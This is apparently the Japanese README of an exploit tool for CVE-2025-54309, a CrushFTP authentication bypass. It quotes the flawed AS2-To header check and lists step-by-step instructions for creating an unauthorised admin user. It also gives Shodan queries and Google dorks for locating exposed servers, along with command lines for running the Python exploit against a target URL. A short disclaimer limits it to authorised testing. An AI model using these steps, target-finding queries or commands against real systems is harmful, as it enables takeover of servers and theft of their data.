CVE-2025-54309 CrushFTP 認証バイパス

概要

CVE-2025-54309 は、CrushFTP における認証バイパスの脆弱性であり、AS2 ヘッダーの操作を通じて不正な管理ユーザー作成を可能にします。

技術的詳細

脆弱性の箇所

• ファイル: crushftp/server/ServerSessionHTTP.java
• メソッド: loginCheckHeaderAuth() (2285 行)
• 根本原因: AS2 ヘッダー検証ロジックの不適切さ

脆弱なコード

} else if (this.headerLookup.containsKey("as2-to".toUpperCase())) {
    if (this.headerLookup.getProperty("as2-to".toUpperCase()).trim().indexOf("-_-") < 0 && !ServerStatus.BG("blank_passwords")) {
        return;  // Authentication bypass occurs here
    }

悪用方法

1. /WebInterface/function/ に空の AS2-To ヘッダーを含む POST リクエストを送信する
2. リクエストボディに setUserItem コマンドを含める
3. AS2-To ヘッダーに -_- デリミタがないため、サーバーが認証をバイパスする
4. 適切な認証なしで管理ユーザーが作成される

影響を受けるバージョン

• CrushFTP 10.x < 10.8.5
• CrushFTP 11.x < 11.3.4_23

Shodan クエリ

• http.server_hash:525710691,-1319113083,2114359341,1401270286,-608770667
• http.favicon.hash:-1022206565
• "/WebInterface/w3c/p3p.xml"

Google dork

• intitle:"CrushFTP WebInterface"
• inurl:"/WebInterface/login.html"

使用方法

python3 cve_2025_54309.py <target_url> [-u username] [-p password] [-v]

例

# Basic exploitation
python3 cve_2025_54309.py http://crushftp.example.com:8080

# Custom credentials
python3 cve_2025_54309.py https://crushftp.example.com -u kali -p kali1

# With login verification
python3 cve_2025_54309.py http://crushftp.example.com -v

必要条件

• Python 3.x
• requests ライブラリ

免責事項

このツールは、許可されたセキュリティテストのみを目的としています。ユーザーは、適用される法律および規制の遵守について責任を負います。